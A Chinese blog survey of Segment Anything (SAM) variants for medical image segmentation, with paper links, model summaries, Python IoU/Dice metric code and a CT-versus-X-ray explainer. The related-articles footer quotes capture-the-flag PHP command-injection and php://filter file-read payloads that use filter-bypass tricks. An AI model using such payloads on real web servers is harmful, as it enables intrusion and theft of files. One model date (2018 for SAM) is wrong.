CV | SAM在医学影像上的模型调研【20240207更新版】

本文主要是SAM(Segment Anything)在医学影像上的数据集,模型及评估方法调研【持续更新】~

1.开源数据集

可参考这篇【数据集 | 基于计算机视觉的医学影像处理数据集_CSDN博客】

2.算法模型

2023.04_SAM

 论文:2018.08.05v_Segment Anything

论文地址:2304.02643.pdf (arxiv.org)

代码地址:facebookresearch/segment-anything: The repository provides code for running inference with the SegmentAnything Model (SAM), links for downloading the trained model checkpoints, and example notebooks that show how to use the model. (github.com)

 基础模型,详情请参考【CV | Segment Anything论文详解及代码实现】

2023.04.02v1_SAM-Adapter

论文:SAM Fails to Segment Anything? – SAM-Adapter: Adapting SAM in Underperformed Scenes: Camouflage, Shadow, Medical Image Segmentation, and More

论文地址:2304.09148.pdf (arxiv.org)

两个 MLP 和一个激活函数组成的Adapter。解码器中不输入任何提示。 

2023.04_Medical-SAM-Adapter

Adapting Segment Anything Model for Medical Image Segmentation

论文地址:2304.12620.pdf (arxiv.org)

论文代码:KidsWithTokens/Medical-SAM-Adapter: Adapting Segment Anything Model for Medical Image Segmentation (github.com)

对医疗图像分割任务的 SAM 架构进行微调,插入 Adapter 模块。

2023.06.01_DeSAM

论文:DeSAM: Decoupling Segment Anything Model for Generalizable Medical Image Segmentation

论文地址:2306.00499.pdf (arxiv.org)

  • 修改 SAM 的mask decoder,以解耦mask生成和提示嵌入,同时利用预先训练的权重
  • 提示相关的 IoU 模块(PRIM),包括一个交叉注意变压器层和一个 IoU 预测头,丢弃掩码预测头,从交叉注意变压器层提取掩码嵌入
  • 提示不变掩码模块(PIMM),CNN结果输出mask

2023.07.17_MedSAM

论文:Segment Anything in Medical Images

论文地址:2304.12306.pdf (arxiv.org)

MedSAM 的目标是创建一种用于细分各种医疗图像的通用工具。为了使 SAM 适应医学图像分割,需要选择适当的用户 Prompt 和网络组件进行微调。SAM 的网络架构包含三个主要组件:图像编码器、提示编码器和掩码解码器。

MedSAM 选择微调掩码解码器组件。图像编码器基于 VIT,它在 SAM 中具有最大的计算开销。为了最大限度地降低计算成本,冻结了图像编码器。提示编码器对边界框的位置信息进行编码,可以从 SAM 中预先训练的边界框编码器中重复使用,因此也会冻结该组件。其余需要微调的部分是掩码解码器。

此外,预先计算了所有训练图像的图像嵌入,以避免重复计算每个提示的图像嵌入,这显著提高了训练效率。掩码解码器只需要生成一个掩码而不是三个掩码,因为在大多数情况下,边界框提示符可以清楚地指定预期的分割目标。

 大规模医学图像分割数据集。使用基于边界框的提示。

2023.08_Polyp-SAM++

论文:Polyp-SAM++: Can A Text Guided SAM Perform Better for Polyp Segmentation?

论文地址:

 补充文本提示,使用grounded-DINO

2023.08.15_Self-Prompting Large Vision Models for Few-Shot Medical Image Segmentation

论文地址:2308.07624v1.pdf (arxiv.org)

利用简单的像素分类器自提示 SAM 模型,采取图像嵌入提供边界框和点 

2023.08.17_SurgicalSAM

论文:SurgicalSAM: Efficient Class Promptable Surgical Instrument Segmentation

论文地址:2308.08746.pdf (arxiv.org)

  • 提出了一个轻量级的基于原型的类提示编码器,直接生成提示嵌入类原型,并消除了显式提示的使用
  • 进一步提出了对比原型学习,利用对比损失来获得有区别的学习类原型

2023.08.31_SAM-Med2d

论文:SAM-Med2D

论文地址:2308.16184.pdf (arxiv.org)

论文代码:OpenGVLab/SAM-Med2D: Official implementation of SAM-Med2D (github.com)

对于 2D 数据集,仅检查像素值是否在 [0, 255] 范围内,并将所有处理后的图像以 PNG 格式保存以保持数据加载的一致性;

2023.09_SAMUS

论文:SAMUS: Adapting Segment Anything Model for Clinically-Friendly and Generalizable Ultrasound Image Segmentation

论文地址:2309.06824.pdf (arxiv.org)

论文代码:xianlin7/SAMUS (github.com)

  • 在 SAM 的基础上,引入了一个并行的 CNN 分支
  • 提出位置Adapter和特征Adapter,以适应 SAM 从自然到医学领域

2023.10.03_ Multi-Prompt Fine-Tuning of Foundation Models for Enhanced Medical Image Segmentation

论文:Multi-Prompt Fine-Tuning of Foundation Models for Enhanced Medical Image Segmentation

论文地址:2310.02381.pdf (arxiv.org)

 

2023.10.29v2_SAM-Med3d

论文:SAM-Med3D

论文地址:2310.15161.pdf (arxiv.org)

论文代码:uni-medical/SAM-Med3D: SAM-Med3D: An Efficient General-purpose Promptable Segmentation Model for 3D Volumetric Medical Image (github.com)

对于 3D 数据集,作者们将每个体积的强度值标准化到 [0, 255] 范围,并沿着 x、y、z 轴提取所有切片图像及其对应的掩码;

2023.11.13v2_MediViSTA-SAM

论文:MediViSTA-SAM: Zero-shot Medical Video Analysis with Spatio-temporal SAM Adaptation

论文地址:MediViSTA-SAM: Zero-shot Medical Video Analysis with Spatio-temporal SAM Adaptation (arxiv.org)

  • 介绍了第一项关于在视频分割上调整SAM的研究,称为MediViSTA-SAM,这是一种专为医学视频分割而设计的新方法。
  • 给定视频数据,MediViSTA 时空适配器通过跨帧注意力机制捕获长距离和短距离时间注意力,有效地约束了其将前一帧视频作为参考,同时也有效地考虑了空间信息。
  • 通过使用 U 形编码器和改进的掩码解码器来处理不同大小的物体,从而实现了多尺度融合。

3.评估方法

dice 和 iou 都是衡量两个集合之间相似性的度量

3.1.IOU

IoU(Intersection-over-Union)即是预测样本和实际样本的交并比,表达式如下:

 

# Iou
def Iou(pred,true):
    intersection = pred * true          # 计算交集  pred ∩ true
    temp = pred + true                  # pred + true
    union = temp - intersection         # 计算并集:A ∪ B = A + B - A ∩ B
    smooth = 1e-8                       # 防止分母为 0
    iou_score = intersection.sum() / (union.sum() + smooth)
    return iou_score
  •  intersection 为两个区域的交集,即两个区域的乘积
  • temp 为两个区域的和,(注:这里不是并集,因为没有减去相交的部分)
  • union 为两个区域的并集

MIoU

 Mean IoU是在所有类别的IoU上取平均值。

3.2.DICE

对于分割过程中的评价标准主要采用Dice相似系数(Dice Similariy Coefficient,DSC),Dice系数是一种集合相似度度量指标,通常用于计算两个样本的相似度,值的范围 0−1 ,分割结果最好时值为 1 ,最差时值为 0

# Dice
def Dice(pred,true):
    intersection = pred * true          # 计算交集  pred ∩ true
    temp = pred + true                  # pred + true
    smooth = 1e-8                       # 防止分母为 0
    dice_score = 2*intersection.sum() / (temp.sum() + smooth)
    return dice_score

相关论文

When SAM Meets Medical Images: An Investigation of Segment Anything Model (SAM) on Multi-phase Liver Tumor Segmentation 【paper】

Q&A

【Q&A1】ct和x-ray的区别是什么?

CT(Computed Tomography)扫描和X射线(X-ray)是医学影像学中常用的两种成像技术,它们有一些区别,主要涉及到成像原理和应用领域:

成像原理:

  • X射线: X射线是一种电磁辐射,通过人体组织时,不同组织对X射线的吸收程度不同,从而形成影像。X射线成像主要是通过检测射线通过组织的衰减程度来生成影像。
  • CT扫描: CT扫描则是利用X射线进行成像,但其采用了旋转式的探测器和计算机算法,能够获取多个方向上的断层图像,进而重建出三维的图像。

图像分辨率:

  • X射线: X射线成像一般为二维影像,提供了对骨骼和某些软组织的清晰图像。
  • CT扫描: CT扫描提供了更高的图像分辨率,并能够生成多层次、三维的图像,对于观察细微结构和检测病变更为有效。

应用领域:

  • X射线: X射线主要用于检查骨折、关节问题以及胸部、腹部等一些基本解剖结构的影像。
  • CT扫描: CT扫描在更广泛的情况下使用,可用于头部、胸部、腹部、骨盆等多个部位的成像,对于肿瘤、感染、血管疾病等的诊断具有高度准确性。

辐射剂量:

  • X射线: 一般来说,X射线的辐射剂量相对较低。
  • CT扫描: 由于CT扫描需要多个X射线投影,因此相对于普通X射线,CT扫描的辐射剂量较高,需要在医学必要性和辐射风险之间进行权衡。

总体而言,X射线成像在一些基础的骨骼检查中仍然是常用的,而CT扫描则提供了更为细致和全面的图像,适用于更广泛的医学应用。在实际应用中,医生会根据具体情况选择合适的成像技术。

参考文献

【1】YichiZhang98/SAM4MIS: Segment Anything Model for Medical Image Segmentation: paper list and open-source project summary (github.com)

【2】23年9月始阅读过的SAM相关文章总结[2024/2/2] - 知乎 (zhihu.com) 

【3】【理论+实践】史上最全-论文中常用的图像分割评价指标-附完整代码 - 知乎 (zhihu.com) 

【4】分割常用评价指标Dice、Hausdorff_95、IOU、PPV等(打马) - 知乎 (zhihu.com) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/377483.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL数据库⑤_基本查询DQL_表的增删查改DML

目录 1. CRUD介绍 2. Create 新增 2.1 单行数据全列插入 2.2 多行数据指定列插入 2.3 插入否则更新 2.4 替换数据 3. Retrieve 查找 3.1 select 查询 3.2 where 条件 3.2.1 MySQL运算符 3.2.2 NULL的查询 3.3 order by 结果排序 3.4 limit 筛选分页结果 4. Updat…

机器学习1一knn算法

1.基础知识点介绍 曼哈顿距离一般是比欧式距离长的除非在一维空间 拐弯的就是曼哈顿距离 Knn查看前5行数据head(),info看空非空 查看特征对应的类型 Head()默认前5行,head(3)就是前3行数据 Unique()可以查看分类后的结果 csv的…

MongoDB部署策略

内 容 简 介 本文介绍了MongoDB数据库的优点的数据存储模式的安装部署过程。 利用MongoDB在存储海量数据上的优势,部署存储空间大数据。 欢迎批评指正补充 由于编者水平有限,所搜集资料也很有限,制定的规范肯定有考虑不周全、甚至完全错误…

JavaEE作业-实验三

目录 1 实验内容 2 实验要求 3 思路 4 核心代码 5 实验结果 1 实验内容 简单的线上图书交易系统的web层 2 实验要求 ①采用SpringMVC框架,采用REST风格 ②要求具有如下功能:商品分类、订单、购物车、库存 ③独立完成,编写实验报告 …

Linux---线程

线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序列” 一切进程至少都有一个执行线程 线程在进程内部运行,本质是在进程地址空间内运行 在Linux系统中,在CPU眼中…

java学习06---方法

一 方法 方法(method)是程序中最小的执行单元 注意: 方法必须先创建才可以使用,该过程成为方法定义 方法创建后并不是直接可以运行的,需要手动使用后,才执行,该过程成为方法调用 二 方法的…

(注解配置AOP)学习Spring的第十七天

基于注解配置的AOP 来看注解式开发 : 先把目标与通知放到Spring里管理 : Service("userService") public class UserServiceImpl implements UserService {Overridepublic void show1() {System.out.println("show1......");}Overridepublic void show2…

SpringBoot + Tess4J 实现本地与远程图片的文字识别

1 前言 1.1 概要 在本文中,我们将探讨如何在Spring Boot应用程序里集成Tess4J来实现OCR(光学字符识别),以识别出本地和远程图片中的文字。 我们将从添加依赖说起,然后创建服务类以实现OCR,最后展示如何处…

Java项目使用jasypt加密和解密配置文件中关键信息

一、使用背景 项目中application.yml 配置文件中,如数据库、redis、加密算法的私钥等各种配置的username,password的值都是明文的,其实存在一定的安全隐患,如果被人拿到这些配置文件,将直接对系统安全构成极大威胁&…

多维时序 | Matlab实现RF-Adaboost随机森林结合Adaboost多变量时间序列预测

多维时序 | Matlab实现RF-Adaboost随机森林结合Adaboost多变量时间序列预测 目录 多维时序 | Matlab实现RF-Adaboost随机森林结合Adaboost多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab实现RF-Adaboost随机森林结合Adaboost多变量时间序列预…

【PyQt】06-.ui文件转.py文件

文章目录 前言方法一、基本脚本查看自己的uic安装目录 方法二、添加到扩展工具里面(失败了)方法二的成功步骤总结 前言 方法一、基本脚本 将Qt Designer(一种图形用户界面设计工具)生成的.ui文件转换为Python代码的脚本。 pytho…

TI毫米波雷达开发——High Accuracy Demo 串口数据接收及TLV协议解析 matlab 源码

TI毫米波雷达开发——串口数据接收及TLV协议解析 matlab 源码 前置基础源代码功能说明功能演示视频文件结构01.bin / 02.binParseData.mread_file_and_plot_object_location.mread_serial_port_and_plot_object_location.m函数解析configureSport(comportSnum)readUartCallback…

不到1s生成mesh! 高效文生3D框架AToM

论文题目: AToM: Amortized Text-to-Mesh using 2D Diffusion 论文链接: https://arxiv.org/abs/2402.00867 项目主页: AToM: Amortized Text-to-Mesh using 2D Diffusion 随着AIGC的爆火,生成式人工智能在3D领域也实现了非常显著…

计算机网络概念、组成、功能和分类

文章目录 概要1.怎么学习计算机网络2.概念3.功能、组成4.工作方式、功能组成5.分类 概要 概念、组成、功能和分类 1.怎么学习计算机网络 2.概念 通信设备:比如路由器、路由器 线路:将系统和通信设备两者联系的介质之类的 计算机网络是互连的、自治的的计…

CTFshow web(php命令执行 37-40)

?ceval($_GET[shy]);&shypassthru(cat flag.php); #逃逸过滤 ?cinclude%09$_GET[shy]?>&shyphp://filter/readconvert.base64-encode/resourceflag.php #文件包含 ?cinclude%0a$_GET[cmd]?>&cmdphp://filter/readconvert.base64-encode/…

spring boot和spring cloud项目中配置文件application和bootstrap加载顺序

在前面的文章基础上 https://blog.csdn.net/zlpzlpzyd/article/details/136060312 日志配置 logback-spring.xml <?xml version"1.0" encoding"UTF-8"?> <configuration scan"true" scanPeriod"10000000 seconds" debug…

Leetcode 213 打家劫舍 II

题意理解&#xff1a; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋&#xff0c;每间房内都藏有一定的现金。这个地方所有的房屋都 围成一圈 &#xff0c;这意味着第一个房屋和最后一个房屋是紧挨着的。同时&#xff0c;相邻的房屋装有相互连通的防盗系统&#xff0c;如果…

mysql 对于null字段排序处理

最近遇到一个需求 &#xff0c;需要对一个报表的多个字段进行多字段复杂条件排序 排序字段为NULL时 Mysql对于排序字段为NULL时&#xff0c;有自身默认的排序规则&#xff0c;默认是认为null 值 是无穷小 ELECT id,script_id,last_modified,live_count,next_show FROM virtua…

python-自动化篇-办公-一键将word中的表格提取到excel文件中

文章目录 代码 工作中&#xff0c;经常需要将Word文档中的表格粘贴到Excel文件中&#xff0c;以便汇总及分析。一个一个复制粘贴&#xff0c;非常不方便&#xff0c;还是Python自动化操作&#xff0c;省心省力。要求如下图所示&#xff0c;即将word中的所有表格&#xff0c;转存…

红队打靶练习:PHOTOGRAPHER: 1

目录 信息收集 1、arp 2、nmap 3、nikto 目录扫描 1、gobuster 2、dirsearch WEB 信息收集 enum4linux smbclient 8000端口 CMS利用 信息收集 文件上传漏洞利用 提权 信息收集 get user.txt get flag 信息收集 1、arp ┌──(root㉿ru)-[~/kali] └─# a…